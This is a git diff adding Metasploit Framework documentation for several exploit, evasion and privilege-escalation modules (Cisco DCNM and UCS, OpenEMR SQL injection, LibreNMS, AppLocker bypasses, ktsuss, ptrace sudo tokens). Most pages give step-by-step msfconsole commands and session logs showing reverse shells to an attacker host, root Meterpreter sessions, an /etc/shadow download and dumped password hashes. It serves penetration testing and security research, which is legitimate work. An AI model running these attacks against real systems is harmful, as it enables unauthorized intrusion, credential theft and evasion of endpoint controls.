"is_install_path": true, "ref_name": "windows/meterpreter_bind_named_pipe", @@ -152067,7 +152731,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_bind_tcp", @@ -152102,7 +152766,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_http", @@ -152137,7 +152801,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_https", @@ -152172,7 +152836,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_ipv6_tcp", @@ -152207,7 +152871,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-11-21 13:53:33 +0000", + "mod_time": "2019-09-03 18:25:26 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_tcp", @@ -160969,7 +161633,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-08 00:11:11 +0000", "path": "/modules/post/multi/gather/resolve_hosts.rb", "is_install_path": true, "ref_name": "multi/gather/resolve_hosts", diff --git a/documentation/modules/auxiliary/admin/cisco/cisco_dcnm_download.md b/documentation/modules/auxiliary/admin/cisco/cisco_dcnm_download.md new file mode 100644 index 0000000000..f718e31f8f --- /dev/null +++ b/documentation/modules/auxiliary/admin/cisco/cisco_dcnm_download.md @@ -0,0 +1,42 @@ +## Intro + +Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet. +An authenticated user can abuse this servlet to download arbitrary files as root by specifying +the full path of the file (aka CVE-2019-1621). + +This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should +work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit +(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication. + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld +https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb +https://seclists.org/fulldisclosure/2019/Jul/7 + + +## Usage + +Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy! + +``` +msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download + +msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40 +rhost => 10.75.1.40 +msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run + +[+] 10.75.1.40:443 - Detected DCNM 10.4(2) +[*] 10.75.1.40:443 - No authentication required, ready to exploit! +[+] 10.75.1.40:443 - Got sysTime value 1567081446000 +[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie +[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md new file mode 100644 index 0000000000..ca588e158c --- /dev/null +++ b/documentation/modules/auxiliary/sqli/openemr/openemr_sqli_dump.md @@ -0,0 +1,101 @@ +## Intro + +This module exploits a SQLi vulnerability found in +OpenEMR version 5.0.1 Patch 6 and lower. The +vulnerability allows the contents of the entire +database (with exception of log and task tables) to be +extracted. + +This module saves each table as a `.csv` file in your +loot directory and has been tested with +OpenEMR 5.0.1 (3). + + +## Author + +Will Porter (will.porter@lodestonesecurity.com) from Lodestone Security + + +## References + +https://www.cvedetails.com/cve/CVE-2018-17179/ +https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617 + + +## Options + +``` +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options + +Module options (auxiliary/sqli/openemr/openemr_sqli_dump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /openemr yes The base path to the OpenEMR installation + VHOST no HTTP server virtual host +``` + +## Usage + +This module has both `check` and `run` functions. + +``` +msf5 > use auxiliary/sqli/openemr/openemr_sqli_dump +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check + +[*] Trying to detect installed version +[*] 127.0.0.1:80 - The target appears to be vulnerable. +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run +[*] Running module against 127.0.0.1 + +[*] DB Version: 10.3.15-MariaDB-1 +[*] Enumerating Tables, this may take a moment... +[*] Identified 310 tables. +[*] Dumping table (1/310): ALL_PLUGINS +[*] Dumping table (2/310): APPLICABLE_ROLES +[*] Dumping table (3/310): CHARACTER_SETS +[*] Dumping table (4/310): CHECK_CONSTRAINTS +[*] Dumping table (5/310): COLLATIONS + +... + +[*] Dumping table (305/310): medex_recalls +[*] Dumping table (306/310): syndromic_surveillance +[*] Dumping table (307/310): lang_constants +[*] Dumping table (308/310): gacl_acl_seq +[*] Dumping table (309/310): background_services +[*] Dumping table (310/310): geo_country_reference +[*] Dumped all tables to /root/.msf4/loot +[*] Auxiliary module execution completed +msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > exit + +root@localhost:/# cd /root/.msf4/loot +root@localhost:~/.msf4/loot# ls -l + +-rw-rw-r-- 1 root root 207 Sep 11 01:33 20190911013307_default_127.0.0.1_openemr.ALL_PLUG_118002.bin +-rw-rw-r-- 1 root root 42 Sep 11 01:33 20190911013308_default_127.0.0.1_openemr.APPLICAB_752726.bin +-rw-rw-r-- 1 root root 59 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHARACTE_047422.bin +-rw-rw-r-- 1 root root 77 Sep 11 01:33 20190911013309_default_127.0.0.1_openemr.CHECK_CO_374587.bin +-rw-rw-r-- 1 root root 68 Sep 11 01:33 20190911013310_default_127.0.0.1_openemr.COLLATIO_513047.bin + +... + +-rw-rw-r-- 1 root root 37 Sep 11 01:47 20190911014756_default_127.0.0.1_openemr.syndromi_322156.bin +-rw-rw-r-- 1 root root 3 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.gacl_acl_006027.bin +-rw-rw-r-- 1 root root 22 Sep 11 01:47 20190911014757_default_127.0.0.1_openemr.lang_con_639806.bin +-rw-rw-r-- 1 root root 139 Sep 11 01:47 20190911014759_default_127.0.0.1_openemr.backgrou_037369.bin +-rw-rw-r-- 1 root root 5462 Sep 11 01:48 20190911014846_default_127.0.0.1_openemr.geo_coun_668990.bin + +root@localhost:~/.msf4/loot# cat 20190911014115_default_127.0.0.1_openemr.users_se_735944.bin +id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2 +1,admin,$2a$05$bxcQWy1ZeIwV2/ScGBQlTOeUVqJo9MdvHuF1mBs4Jo7H0/bFpZoPK,$2a$05$bxcQWy1ZeIwV2/ScGBQlTZ$,2019-08-27 20:07:13,"","","","" +4,johndoemsf,$2a$05$gUWCtnsoqPBbn5zKiasyaOphgJwkA9BySy7LnK3BswyWt0RrLb0Ma,$2a$05$gUWCtnsoqPBbn5zKiasyaQ$,2019-08-29 02:01:28,"","","","" +6,johnderp,$2a$05$nAHQ7japfATDqqgArPImlu5svMG79W1nj1SNBpE7xkEhS42.AvlWq,$2a$05$nAHQ7japfATDqqgArPImlv$,2019-08-29 02:02:32,"","","","" +7,janedoemsf,$2a$05$uv85uBLeAOWQWWl9hHGL0uUy1KZSTgNGbZfJ9o8Lg0ILuSeGCNDbm,$2a$05$uv85uBLeAOWQWWl9hHGL06$,2019-08-29 02:09:37,"","","","" +``` diff --git a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md new file mode 100644 index 0000000000..35560054c2 --- /dev/null +++ b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md @@ -0,0 +1,36 @@ +## Intro + +This module is designed to evade solutions such as software restriction policies and Applocker. +Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. +Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" +The main vector for this bypass is to use the trusted binary PresentationHost.exe to execute user supplied code as this binary is located within the trusted Windows directory. + +## Vulnerable Application + +This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block PresentationHost.exe. + +## Options + +- **CS_FILE** - Filename for the evasive file (default: presentationhost.xaml.cs). +- **MANIFEST_FILE** - Filename for the evasive file (default: presentationhost.manifest). +- **CSPROJ_FILE** - Filename for the evasive file (default: presentationhost.csproj). + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use evasion/windows/applocker_evasion_presentationhost` + 3. Do: `set PAYLOAD ` (note: only x86 payloads are supported by this module) + 4. Do: `run` + 5. The module will now display instructions of how to proceed + 6. `[+] presentationhost.xaml.cs stored at /root/.msf4/local/presentationhost.xaml.cs` + 7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest` + 8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj` + 9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target` + 10. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 11. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. + +## References + +https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4 +https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker +https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies diff --git a/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md b/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md new file mode 100644 index 0000000000..6449b7abe3 --- /dev/null +++ b/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md @@ -0,0 +1,34 @@ +## Intro + +This module is designed to evade solutions such as software restriction policies and Applocker. +Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. +Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" +The main vector for this bypass is to use the trusted binaries RegAsm.exe or RegSvcs.exe to execute user supplied code as these binaries are located within the trusted Windows directory. + +## Vulnerable Application + +This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block RegAsm.exe, RegSvcs.exe or the "Microsoft.Net" directory. + +## Options + +- **TXT_FILE** - Filename for the evasive file (default: regasm_regsvcs.txt). +- **SNK_FILE** - Filename for the .snk file (default: key.snk). (note: to aid furter evasion it is recommended to create your own .snk file ref: https://docs.microsoft.com/en-us/dotnet/framework/app-domains/how-to-sign-an-assembly-with-a-strong-name) + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use evasion/windows/applocker_evasion_regasm_regsvcs` + 3. Do: `set PAYLOAD ` + 4. Do: `run` + 5. The module will now display instructions of how to proceed + 6. `[+] regasm_regsvcs.txt stored at /root/.msf4/local/regasm_regsvcs.txt` + 7. `[+] key.snk stored at /root/.msf4/local/key.snk` + 8. `[*] Copy regasm_regsvcs.txt and key.snk to the target` + 9. `[*] Compile using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regasm_regsvcs.dll /keyfile:key.snk regasm_regsvcs.txt` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 10. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regsvcs.exe regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 11. `[*] or` + 12. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regasm.exe /U regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + +## References + +https://attack.mitre.org/techniques/T1121/ diff --git a/documentation/modules/evasion/windows/applocker_evasion_workflow_compiler.md b/documentation/modules/evasion/windows/applocker_evasion_workflow_compiler.md new file mode 100644 index 0000000000..39d93180be --- /dev/null +++ b/documentation/modules/evasion/windows/applocker_evasion_workflow_compiler.md @@ -0,0 +1,31 @@ +## Intro + +This module is designed to evade solutions such as software restriction policies and Applocker. +Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. +Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" +The main vector for this bypass is to use the trusted binary Microsoft.Workflow.Compiler.exe to execute user supplied code as this binary is located within the trusted Windows directory. + +## Vulnerable Application + +This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block Microsoft.Workflow.Compiler.exe or the "Microsoft.Net" directory. + +## Options + +- **XOML_FILE** - Filename for the evasive file (default: workflow.xoml). +- **XML_FILE** - Filename for the .snk file (default: workflow.xml). + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use evasion/windows/applocker_evasion_workflow_compiler` + 3. Do: `set PAYLOAD ` + 4. Do: `run` + 5. The module will now display instructions of how to proceed + 6. `[+] workflow.xoml stored at /root/.msf4/local/workflow.xoml` + 7. `[+] workflow.xml stored at /root/.msf4/local/workflow.xml` + 8. `[*] Copy workflow.xoml and workflow.xml to the target` + 9. `[*] Execute using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\Microsoft.Workflow.Compiler.exe workflow.xml GQi` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + +## References + +https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb diff --git a/documentation/modules/exploit/linux/http/cisco_ucs_rce.md b/documentation/modules/exploit/linux/http/cisco_ucs_rce.md new file mode 100644 index 0000000000..cee3eec3f0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/cisco_ucs_rce.md @@ -0,0 +1,59 @@ +## Intro + +The Cisco UCS Director virtual appliance contains two flaws that can be combined +and abused by an attacker to achieve remote code execution as root. + +The first one, CVE-2019-1937, is an authentication bypass, that allows the +attacker to authenticate as an administrator. + +The second one, CVE-2019-1936, is a command injection in a password change form, +that allows the attacker to inject commands that will execute as root. + +This module combines both vulnerabilities to achieve the unauthenticated command +injection as root. +It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. +Note that Cisco also mentions in their advisory that their IMC Supervisor and +UCS Director Express are also affected by these vulnerabilities, but this module +was not tested with those products. + + +## Author and discoverer + +Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security + + +## References + +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby +https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj +FULL_DISC +https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt + + +## Usage + +Setup RHOST, LHOST, LPORT and run it! + +``` +msf5 exploit(linux/ssh/cisco_ucs_scpuser) > use exploit/linux/http/cisco_ucs_rce +msf5 exploit(linux/http/cisco_ucs_rce) > set rhost 10.9.8.121 +rhost => 10.9.8.121 +msf5 exploit(linux/http/cisco_ucs_rce) > set lhost 10.9.8.1 +lhost => 10.9.8.1 +msf5 exploit(linux/http/cisco_ucs_rce) > run + +[*] Started reverse TCP handler on 10.9.8.1:4444 +[+] 10.9.8.121:443 - Successfully bypassed auth and got our admin JSESSIONID cookie! +[+] 10.9.8.121:443 - Shelly is here, press ENTER to start playing with her! +[*] Command shell session 2 opened (10.9.8.1:4444 -> 10.9.8.121:34778) at 2019-08-29 22:28:01 +0700 + +[root@localhost inframgr]# whoami +whoami +root +[root@localhost inframgr]# ^C +Abort session 2? [y/N] y +"" + +[*] 10.9.8.121 - Command shell session 2 closed. Reason: User exit +msf5 exploit(linux/http/cisco_ucs_rce) > +``` diff --git a/documentation/modules/exploit/linux/http/cve_2019_1663_cisco_rmi_rce.md b/documentation/modules/exploit/linux/http/cve_2019_1663_cisco_rmi_rce.md new file mode 100644 index 0000000000..5cdd482bba --- /dev/null +++ b/documentation/modules/exploit/linux/http/cve_2019_1663_cisco_rmi_rce.md @@ -0,0 +1,25 @@ +# Cisco RV110W/RV130W/RV215W Routers Management Interface Remote Command Execution + +A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. + +The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. + +A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. + +## Vulnerable Device + +* RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. +* RV130 Multifunction VPN Router versions prior to 1.0.3.45 are affected. +* RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. +* RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. + +## Verification Steps + +1. Start msfconsole +2. ```use exploit/linux/http/cve_2019_1663_cisco_rmi_rce``` +3. ```set rhost [IP]``` +4. ```set payload linux/armle/meterpreter_reverse_tcp``` +5. ```set lhost [IP]``` +6. ```exploit``` +7. You should get a session + diff --git a/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md new file mode 100644 index 0000000000..31336893f7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md @@ -0,0 +1,128 @@ +## Description + + A command injection vulnerability exists in LibreNMS versions prior to `v1.50.1`. + + The injection vulnerability affects the Collectd graphing functionality. Specifically, the `to` and + `from` parameters used in the range for graphing are sanitized with the `mysqli_escape_real_string()` + which ignores certain characters, including backticks. These improperly sanitized parameters are then + used in a shell command that gets executed via the `passthru()` function. + + This module has been tested on LibreNMS `v1.46` and `v.1.50`. + +## Vulnerable Application + + A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50). + + Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/). + + Collectd will need to be set up with LibreNMS for this exploit to work. These instructions + are for the Ubuntu OVA. + + ```sudo apt-get install collectd``` + + Open the Collectd config file `/etc/collectd/collectd.conf` + and uncomment the global options for the `Hostname` and `BaseDir`. + Next, uncomment the lines for the cpu plugin. + The plugin should look similar to this: + + ``` + + ReportByCpu true + ReportByState true + ValuesPercentage false + + ``` + + Next, find the `rrdtool` plugin and ensure it looks like this: + + ``` + + DataDir "/var/lib/collectd/rrd" + CacheTimeout 120 + CacheFlush 900 + + ``` + + Save and exit + + Now open `/etc/collectd/collectd.conf.d/rrdtool.conf` and add + + ``` + LoadPlugin rrdtool + + DataDir "/var/lib/collectd/rrd" + CacheTimeout 120 + CacheFlush 900 + + ``` + + Save and exit, then restart the Collectd service: + + ```sudo systemctl restart collectd``` + + Lastly, add these two lines to the LibreNMS config file, + `/opt/librenms/config.php`: + + ``` + $config['collectd_dir'] = '/var/lib/collectd/rrd'; + $config['collectd_sock'] = 'unix:///var/run/collectd.sock'; + ``` + + Now save and exit. + + You can verify that Collectd is set up with LibreNMS by viewing the + `localhost` device in LibreNMS and noting that there should be a Collectd + tab on the device's main page. + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/linux/http/librenms_collectd_cmd_inject``` + 4. Do: ```set RHOSTS ``` + 5. Do: ```set USERNAME ``` + 6. Do: ```set PASSWORD ``` + 7. Do: ```run``` + 8. You should get a shell. + +## Scenarios + +### Tested on LibreNMS `v1.46` + + ``` + msf5 > use exploit/linux/http/librenms_collectd_cmd_inject + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133 + rhosts => 192.168.37.133 + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah + username => blah + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password + password => password + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse + payload => cmd/unix/reverse + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1 + lhost => 192.168.37.1 + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check + [*] 192.168.37.133:80 - The target service is running, but could not be validated. + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run + + [*] Started reverse TCP double handler on 192.168.37.1:4444 + [*] Successfully logged into LibreNMS. Storing credentials... + [*] LibreNMS version: 1.46 + [*] Sending payload via device 122 + [*] Accepted the first client connection... + [*] Accepted the second client connection... + [*] Command: echo 67Fk9T3DyODcIsbL; + [*] Writing to socket A + [*] Writing to socket B + [*] Reading from sockets... + [*] Reading from socket A + [*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n" + [*] Matching... + [*] B is input... + [*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500 + + whoami + www-data + uname -a + Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux + ``` diff --git a/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md new file mode 100644 index 0000000000..2ce5b01541 --- /dev/null +++ b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md @@ -0,0 +1,122 @@ +## Description + + This module attempts to gain root privileges by exploiting + a vulnerability in ktsuss versions 1.4 and prior. + + The `ktsuss` executable is setuid `root` and does not drop + privileges prior to executing user specified commands, + resulting in command execution with `root` privileges. + + +## Vulnerable Application + + This module has been tested successfully on: + + * ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) + * ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/ktsuss_suid_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **KTSUSS_PATH** + + Path to `ktsuss` executable (default: `/usr/bin/ktsuss`) + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + +### ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64) + + ``` + msf5 > use exploit/linux/local/ktsuss_suid_priv_esc + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check + + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) + [+] The target is vulnerable. + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) + [*] Writing '/tmp/.lBanpIYpAJ60cwt' (389 bytes) ... + [*] Executing payload ... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.137 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.137:53060) at 2019-08-19 09:18:29 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.137 + OS : Sparky 5.8 (Linux 4.19.0-5-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + +### ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) + + ``` + msf5 > use exploit/linux/local/ktsuss_suid_priv_esc + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check + + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test) + [+] The target is vulnerable. + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test) + [*] Writing '/tmp/.R0aTPpB8aHk' (389 bytes) ... + [*] Executing payload ... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.167 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.167:44534) at 2019-08-19 09:25:48 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.167 + OS : Sparky 6 (Linux 4.19.0-5-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + diff --git a/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md b/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md new file mode 100644 index 0000000000..3c926dbadd --- /dev/null +++ b/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md @@ -0,0 +1,136 @@ +## Description + + This module attempts to gain root privileges by blindly injecting into + the session user's running shell processes and executing commands by + calling `system()`, in the hope that the process has valid cached sudo + tokens with root privileges. + + The system must have gdb installed and permit ptrace. + + +## Vulnerable Application + + This module has been tested successfully on: + + * Debian 9.8 (x64) + * CentOS 7.4.1708 (x64) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/ptrace_sudo_token_priv_esc` + 4. `set SESSION ` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **TIMEOUT** + + Process injection timeout (seconds) (default: `30`) + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + +### CentOS 7.4.1708 (x64) + + ``` + msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] YAMA ptrace scope is not restrictive + [+] SELinux deny_ptrace is disabled + [+] sudo is installed + [+] gdb is installed + [*] Searching for shell processes ... + [*] Found 3 running shell processes + [*] 2343, 2483, 2958 + [*] Writing '/tmp/.ka44kFCm8XyMEZ' (329 bytes) ... + [*] Injecting into process 2343 ... + [*] Injecting into process 2483 ... + [*] Injecting into process 2958 ... + [+] /tmp/.ka44kFCm8XyMEZ setuid root successfully + [*] Executing payload... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.141 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.141:53462) at 2019-08-10 02:49:48 -0400 + [-] Failed to delete /tmp/.ka44kFCm8XyMEZ: stdapi_fs_delete_file: Operation failed: 1 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 